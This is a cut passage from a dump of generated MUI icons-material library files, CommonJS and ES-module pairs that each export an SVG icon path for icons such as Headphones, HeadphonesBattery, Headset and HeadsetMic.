    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5\",\n  cy: \"12\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\")], 'HdrWeakTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrWeakTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5\",\n  cy: \"12\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\")], 'HdrWeakTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Headphones.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9v7c0 1.1.9 2 2 2h4v-8H5v-1c0-3.87 3.13-7 7-7s7 3.13 7 7v1h-4v8h4c1.1 0 2-.9 2-2v-7c0-4.97-4.03-9-9-9\"\n}), 'Headphones');"
  },
  {
    "path": "packages/mui-icons-material/lib/Headphones.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9v7c0 1.1.9 2 2 2h4v-8H5v-1c0-3.87 3.13-7 7-7s7 3.13 7 7v1h-4v8h4c1.1 0 2-.9 2-2v-7c0-4.97-4.03-9-9-9\"\n}), 'Headphones');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesBattery.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7h-1V6h-2v1h-1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1M8 6c-3.31 0-6 2.69-6 6v4c0 1.1.9 2 2 2h2v-5H3.5v-1c0-2.48 2.02-4.5 4.5-4.5s4.5 2.02 4.5 4.5v1H10v5h2c1.1 0 2-.9 2-2v-4c0-3.31-2.69-6-6-6\"\n}), 'HeadphonesBattery');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesBattery.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7h-1V6h-2v1h-1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1M8 6c-3.31 0-6 2.69-6 6v4c0 1.1.9 2 2 2h2v-5H3.5v-1c0-2.48 2.02-4.5 4.5-4.5s4.5 2.02 4.5 4.5v1H10v5h2c1.1 0 2-.9 2-2v-4c0-3.31-2.69-6-6-6\"\n}), 'HeadphonesBattery');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesBatteryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7h-1V6h-2v1h-1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1m-1 9h-2V9h2zM8 6c-3.31 0-6 2.69-6 6v4c0 1.1.9 2 2 2h2v-5H3.5v-1c0-2.48 2.02-4.5 4.5-4.5s4.5 2.02 4.5 4.5v1H10v5h2c1.1 0 2-.9 2-2v-4c0-3.31-2.69-6-6-6\"\n}), 'HeadphonesBatteryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesBatteryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7h-1V6h-2v1h-1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1m-1 9h-2V9h2zM8 6c-3.31 0-6 2.69-6 6v4c0 1.1.9 2 2 2h2v-5H3.5v-1c0-2.48 2.02-4.5 4.5-4.5s4.5 2.02 4.5 4.5v1H10v5h2c1.1 0 2-.9 2-2v-4c0-3.31-2.69-6-6-6\"\n}), 'HeadphonesBatteryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesBatteryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7h-1v-.5c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5V7h-1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1M8 6c-3.31 0-6 2.69-6 6v4c0 1.1.9 2 2 2s2-.9 2-2v-1c0-1.1-.9-2-2-2h-.5v-1c0-2.48 2.02-4.5 4.5-4.5s4.5 2.02 4.5 4.5v1H12c-1.1 0-2 .9-2 2v1c0 1.1.9 2 2 2s2-.9 2-2v-4c0-3.31-2.69-6-6-6\"\n}), 'HeadphonesBatteryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesBatteryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7h-1v-.5c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5V7h-1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1M8 6c-3.31 0-6 2.69-6 6v4c0 1.1.9 2 2 2s2-.9 2-2v-1c0-1.1-.9-2-2-2h-.5v-1c0-2.48 2.02-4.5 4.5-4.5s4.5 2.02 4.5 4.5v1H12c-1.1 0-2 .9-2 2v1c0 1.1.9 2 2 2s2-.9 2-2v-4c0-3.31-2.69-6-6-6\"\n}), 'HeadphonesBatteryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesBatterySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7V6h-2v1h-2v11h6V7zM8 6c-3.31 0-6 2.69-6 6v6h4v-5H3.5v-1c0-2.48 2.02-4.5 4.5-4.5s4.5 2.02 4.5 4.5v1H10v5h4v-6c0-3.31-2.69-6-6-6\"\n}), 'HeadphonesBatterySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesBatterySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7V6h-2v1h-2v11h6V7zM8 6c-3.31 0-6 2.69-6 6v6h4v-5H3.5v-1c0-2.48 2.02-4.5 4.5-4.5s4.5 2.02 4.5 4.5v1H10v5h4v-6c0-3.31-2.69-6-6-6\"\n}), 'HeadphonesBatterySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesBatteryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9h2v7h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7h-1V6h-2v1h-1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1m-1 9h-2V9h2zM8 6c-3.31 0-6 2.69-6 6v4c0 1.1.9 2 2 2h2v-5H3.5v-1c0-2.48 2.02-4.5 4.5-4.5s4.5 2.02 4.5 4.5v1H10v5h2c1.1 0 2-.9 2-2v-4c0-3.31-2.69-6-6-6\"\n}, \"1\")], 'HeadphonesBatteryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesBatteryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9h2v7h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7h-1V6h-2v1h-1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1m-1 9h-2V9h2zM8 6c-3.31 0-6 2.69-6 6v4c0 1.1.9 2 2 2h2v-5H3.5v-1c0-2.48 2.02-4.5 4.5-4.5s4.5 2.02 4.5 4.5v1H10v5h2c1.1 0 2-.9 2-2v-4c0-3.31-2.69-6-6-6\"\n}, \"1\")], 'HeadphonesBatteryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9v7c0 1.1.9 2 2 2h4v-8H5v-1c0-3.87 3.13-7 7-7s7 3.13 7 7v1h-4v8h4c1.1 0 2-.9 2-2v-7c0-4.97-4.03-9-9-9M7 15v4H5v-4zm12 4h-2v-4h2z\"\n}), 'HeadphonesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9v7c0 1.1.9 2 2 2h4v-8H5v-1c0-3.87 3.13-7 7-7s7 3.13 7 7v1h-4v8h4c1.1 0 2-.9 2-2v-7c0-4.97-4.03-9-9-9M7 15v4H5v-4zm12 4h-2v-4h2z\"\n}), 'HeadphonesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12v7c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2H5v-1c0-3.87 3.13-7 7-7s7 3.13 7 7v1h-2c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2v-7c0-4.97-4.03-9-9-9s-9 4.03-9 9\"\n}), 'HeadphonesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12v7c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2H5v-1c0-3.87 3.13-7 7-7s7 3.13 7 7v1h-2c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2v-7c0-4.97-4.03-9-9-9s-9 4.03-9 9\"\n}), 'HeadphonesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9v9h6v-8H5v-1c0-3.87 3.13-7 7-7s7 3.13 7 7v1h-4v8h6v-9c0-4.97-4.03-9-9-9\"\n}), 'HeadphonesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9v9h6v-8H5v-1c0-3.87 3.13-7 7-7s7 3.13 7 7v1h-4v8h6v-9c0-4.97-4.03-9-9-9\"\n}), 'HeadphonesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h2v4H5zm12 0h2v4h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9v7c0 1.1.9 2 2 2h4v-8H5v-1c0-3.87 3.13-7 7-7s7 3.13 7 7v1h-4v8h4c1.1 0 2-.9 2-2v-7c0-4.97-4.03-9-9-9M7 15v4H5v-4zm12 4h-2v-4h2z\"\n}, \"1\")], 'HeadphonesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadphonesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h2v4H5zm12 0h2v4h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9v7c0 1.1.9 2 2 2h4v-8H5v-1c0-3.87 3.13-7 7-7s7 3.13 7 7v1h-4v8h4c1.1 0 2-.9 2-2v-7c0-4.97-4.03-9-9-9M7 15v4H5v-4zm12 4h-2v-4h2z\"\n}, \"1\")], 'HeadphonesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Headset.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1c-4.97 0-9 4.03-9 9v7c0 1.66 1.34 3 3 3h3v-8H5v-2c0-3.87 3.13-7 7-7s7 3.13 7 7v2h-4v8h3c1.66 0 3-1.34 3-3v-7c0-4.97-4.03-9-9-9\"\n}), 'Headset');"
  },
  {
    "path": "packages/mui-icons-material/lib/Headset.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1c-4.97 0-9 4.03-9 9v7c0 1.66 1.34 3 3 3h3v-8H5v-2c0-3.87 3.13-7 7-7s7 3.13 7 7v2h-4v8h3c1.66 0 3-1.34 3-3v-7c0-4.97-4.03-9-9-9\"\n}), 'Headset');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadsetMic.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1c-4.97 0-9 4.03-9 9v7c0 1.66 1.34 3 3 3h3v-8H5v-2c0-3.87 3.13-7 7-7s7 3.13 7 7v2h-4v8h4v1h-7v2h6c1.66 0 3-1.34 3-3V10c0-4.97-4.03-9-9-9\"\n}), 'HeadsetMic');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadsetMic.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1c-4.97 0-9 4.03-9 9v7c0 1.66 1.34 3 3 3h3v-8H5v-2c0-3.87 3.13-7 7-7s7 3.13 7 7v2h-4v8h4v1h-7v2h6c1.66 0 3-1.34 3-3V10c0-4.97-4.03-9-9-9\"\n}), 'HeadsetMic');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadsetMicOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 14v4h-2v-4zM7 14v4H6c-.55 0-1-.45-1-1v-3zm5-13c-4.97 0-9 4.03-9 9v7c0 1.66 1.34 3 3 3h3v-8H5v-2c0-3.87 3.13-7 7-7s7 3.13 7 7v2h-4v8h4v1h-7v2h6c1.66 0 3-1.34 3-3V10c0-4.97-4.03-9-9-9\"\n}), 'HeadsetMicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadsetMicOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 14v4h-2v-4zM7 14v4H6c-.55 0-1-.45-1-1v-3zm5-13c-4.97 0-9 4.03-9 9v7c0 1.66 1.34 3 3 3h3v-8H5v-2c0-3.87 3.13-7 7-7s7 3.13 7 7v2h-4v8h4v1h-7v2h6c1.66 0 3-1.34 3-3V10c0-4.97-4.03-9-9-9\"\n}), 'HeadsetMicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadsetMicRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.4 1.02C6.62 1.33 3 5.52 3 10.31V17c0 1.66 1.34 3 3 3h1c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2H5v-1.71C5 6.45 7.96 3.11 11.79 3 15.76 2.89 19 6.06 19 10v2h-2c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h2v1h-6c-.55 0-1 .45-1 1s.45 1 1 1h5c1.66 0 3-1.34 3-3V10c0-5.17-4.36-9.32-9.6-8.98\"\n}), 'HeadsetMicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadsetMicRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.4 1.02C6.62 1.33 3 5.52 3 10.31V17c0 1.66 1.34 3 3 3h1c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2H5v-1.71C5 6.45 7.96 3.11 11.79 3 15.76 2.89 19 6.06 19 10v2h-2c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h2v1h-6c-.55 0-1 .45-1 1s.45 1 1 1h5c1.66 0 3-1.34 3-3V10c0-5.17-4.36-9.32-9.6-8.98\"\n}), 'HeadsetMicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadsetMicSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.4 1.02C6.62 1.33 3 5.51 3 10.31V20h6v-8H5v-1.71C5 6.45 7.96 3.11 11.79 3 15.76 2.89 19 6.06 19 10v2h-4v8h4v1h-7v2h9V10c0-5.17-4.36-9.32-9.6-8.98\"\n}), 'HeadsetMicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadsetMicSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.4 1.02C6.62 1.33 3 5.51 3 10.31V20h6v-8H5v-1.71C5 6.45 7.96 3.11 11.79 3 15.76 2.89 19 6.06 19 10v2h-4v8h4v1h-7v2h9V10c0-5.17-4.36-9.32-9.6-8.98\"\n}), 'HeadsetMicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadsetMicTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17c0 .55.45 1 1 1h1v-4H5zm12-3h2v4h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1c-4.97 0-9 4.03-9 9v7c0 1.66 1.34 3 3 3h3v-8H5v-2c0-3.87 3.13-7 7-7s7 3.13 7 7v2h-4v8h4v1h-7v2h6c1.66 0 3-1.34 3-3V10c0-4.97-4.03-9-9-9M7 14v4H6c-.55 0-1-.45-1-1v-3zm12 4h-2v-4h2z\"\n}, \"1\")], 'HeadsetMicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadsetMicTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17c0 .55.45 1 1 1h1v-4H5zm12-3h2v4h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1c-4.97 0-9 4.03-9 9v7c0 1.66 1.34 3 3 3h3v-8H5v-2c0-3.87 3.13-7 7-7s7 3.13 7 7v2h-4v8h4v1h-7v2h6c1.66 0 3-1.34 3-3V10c0-4.97-4.03-9-9-9M7 14v4H6c-.55 0-1-.45-1-1v-3zm12 4h-2v-4h2z\"\n}, \"1\")], 'HeadsetMicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HeadsetOff.js",
